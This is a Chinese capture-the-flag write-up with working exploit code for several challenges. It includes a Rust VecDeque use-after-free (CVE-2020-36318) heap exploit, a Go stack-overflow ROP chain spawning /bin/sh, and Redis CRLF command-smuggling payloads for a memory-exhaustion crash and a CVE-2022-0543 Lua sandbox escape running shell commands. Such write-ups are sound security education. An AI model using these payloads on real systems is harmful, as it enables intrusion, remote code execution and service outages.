PKUCC HFCTF Writeup

[PWN] vdq

维护了一个VecDeque<Note>,其中struct Node { Option<usize> idx; Vec<u8> data; },支持Add(添加一个Note到最后,任意填充data)、Remove(删除开头的Note)、View(查看所有Note)、Append(在开头的Note里追加数据到data)、Archive(略,没有用到)。

还好代码没有strip,所以能在可接受的时间内看一遍反编译出的代码,没有意识到有任何高危(unsafe)的操作,似乎陷入了死局。

发现代码是用rustc 1.48编译的,查了一下正好有一个VecDeque的高危漏洞CVE-2020-36318,一个半官方的PoC能完美嵌入到下发的程序中(https://github.com/rust-lang/rust/issues/79808#issuecomment-740188680 )。

利用Append操作进行漏洞利用,触发上述漏洞后,可以操作已经被释放的Note,控制输入数据的大小正好让该Note作为要被追加的数据(Vec<u8>)释放出来,这样可以任意填充该待被操作的Note。特别地,因为之前用View操作可以泄漏libc中的地址,直接填充Note中的data使其指向__free_hook,然后追加数据时就可以把__free_hook覆盖成__libc_system,再随便操作一番释放一块含有cat flag的内存即可。

import sys

print('["Add", "Add", "Remove", "Remove", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove", "View", "Append",')
print(' "Append", "Append"]')
print('$')

print('') # Add
print('') # Add
# Remove x 2

print('a' * 16)                     # Add
print('')                           # Add
print('b' * (1024 * 4 + 1))         # Add
sys.stdout.flush()
# View
# Remove x 3

leak = input() # View
leak = leak[0:16]
ptr = ''
for i in reversed(range(8)):
    ptr += leak[i * 2:i * 2 + 2]
ptr = int(ptr, 16)
sys.stderr.write(hex(ptr))

free_hook = ptr + 0x1c48        # __free_hook
libc_system = ptr - 0x39c880    # __libc_system
sys.stdout.buffer.write(
    (libc_system.to_bytes(16, 'little') +             # Option<usize> idx
        (free_hook - 0x1001).to_bytes(8, 'little') +  # ptr
        b'\x7f' * 7 +                                 # size
        b'\n'
    ))  # Append
sys.stdout.flush()

print("ls") # Append
sys.stdout.flush()

print("cat flag") # Append
sys.stdout.flush()

[PWN] gogogo

代码strip过,不过可以使用脚本恢复(https://github.com/getCUJO/ThreatIntel/blob/master/Scripts/Ghidra/go_func.py )。

这题目真的迷之坑点,首先看了main.main函数发现该函数非常简单,没有任何高危操作,完全不可能出现问题,研究了半个下午+一个晚上也没搞出所以然来。

第二天才发现原来还有个函数叫做math.init,这函数一眼看上去是个标准库函数(也可能是我对go不太熟),所以最开始怎么也没意识到真正的代码居然不在main.xxxx中。

找到真正的函数就好办了,首先玩一个简单的猜数游戏,会反馈猜对的个数和猜错位的个数,直接暴力做就可以。通关后可以启动另一个游戏,这个代码也看了有一会不过发现一点用都没有,直接退出这个游戏就能在函数结尾触发一个栈缓冲区溢出,而下发文件没有任何ASLR,也没开启stack canary检查,Go Runtime的gadget这么丰富,那么直接ROP到execve("/bin/sh", ...)就结束了。

import random
import time

infp = open('in.fifo', 'w')
outfp = open('out.fifo', 'r')

outfp.readline()
outfp.readline()
infp.write('1416925456\n')
infp.flush()

outfp.readline()
outfp.readline()

possible_cases = list()
for i in range(10):
    for j in range(10):
        for k in range(10):
            for l in range(10):
                s = set([i, j, k, l])
                if len(s) != 4:
                    continue
                possible_cases.append((i, j, k, l))

def format_case(case):
    i, j, k, l = case
    return f'{i} {j} {k} {l}\n'

def compare_case(one, another):
    i, j, k, l = one
    p, q, m, n = another
    exact = (i == p) + (j == q) + (k == m) + (l == n)
    around = (i in [q, m, n]) + (j in [p, m, n]) + (k in [p, q, n]) + (l in [p, q, m])
    return f'{exact}A{around}B\n'

while True:
    case = random.choice(possible_cases)
    infp.write(format_case(case))
    infp.flush()

    result = outfp.readline()
    if result == 'YOU WIN\n':
        break
    possible_cases = list(filter(lambda c: compare_case(case, c) == result, possible_cases))
    assert len(possible_cases) != 0

outfp.readline()
infp.write('E\n')
infp.flush()

for _ in range(7):
    outfp.readline()
infp.write('4\n')
infp.flush()

"""
  437d38:       48 8b 7c 24 38          mov    0x38(%rsp),%rdi
  437d3d:       0f b6 74 24 1f          movzbl 0x1f(%rsp),%esi
  437d42:       48 8b 6c 24 70          mov    0x70(%rsp),%rbp
  437d47:       48 83 c4 78             add    $0x78,%rsp
  437d4b:       c3                      ret
"""

"""
  489457:       48 8b 54 24 40          mov    0x40(%rsp),%rdx
  48945c:       0f b6 42 20             movzbl 0x20(%rdx),%eax
  489460:       48 8b 6c 24 30          mov    0x30(%rsp),%rbp
  489465:       48 83 c4 38             add    $0x38,%rsp
  489469:       c3                      ret
"""

"""
  45c849:       0f 05                   syscall
  45c84b:       c3                      ret
"""

OFF = 0xa4000

outfp.readline()
infp.buffer.write(
        b'/bin/sh' +                                     # filename
        b'\x00' * (0x460 - 7 - 8) +                      # padding
        (59).to_bytes(8, 'little') +                     # %rax = SYS_execve
        (0x437d38).to_bytes(8, 'little') +               # ret
        b'\x00' * 0x38 +                                 # padding (%rsi = 0)
        (0xc000076b18 + OFF).to_bytes(8, 'little') +     # %rdi = "/bin/sh"
        b'\x00' * 0x38 +                                 # padding
        (0x489457).to_bytes(8, 'little') +               # ret
        b'\x00' * 0x38 +                                 # padding
        (0x45c849).to_bytes(8, 'little') +               # ret
        (0xc000076f50 + OFF).to_bytes(8, 'little') +     # %rdx = &{ NULL }
        b'\n'
    )
infp.flush()

outfp.readline()
# infp.write('ls -al\n')
infp.write('cat flag\n')
infp.flush()
infp.close()

[Misc] Quest-Crash

首先提供的API里面用换行分隔就能执行多条命令,而且只有第一条会检查是否是允许的命令,因此可以执行任意Redis命令,包括EVAL,而EVAL可以运行任意Lua代码。在Lua代码里面构造一个非常大的字符串就能让Redis因为内存不足崩溃:

{"query":"SET x\r\nEVAL \"return string.rep('test',200000000)\" 0"}

[Misc] Quest-RCE

这个Lua环境里面没有os库,但是因为CVE-2022-0543还是能实现RCE:

{"query":"SET x\r\neval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"<command>\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"}

flag的文件名是随机的,所以需要先ls -l /把flag的文件名找到再用cat读flag。

[Re] fpbe

程序本身是一段解sha256哈希,是做不了的。但是在执行验证函数之前加载了一个bpf程序,通过找这个程序的地址可以发现就在题目的文件里嵌了一个ELF文件。把它提取出来,里面的bpf程序可以发现就是将我们输进去的flag做一个线性组合然后比较,联立这些线性方程组就可以解出flag。

results matching ""

    No results matching ""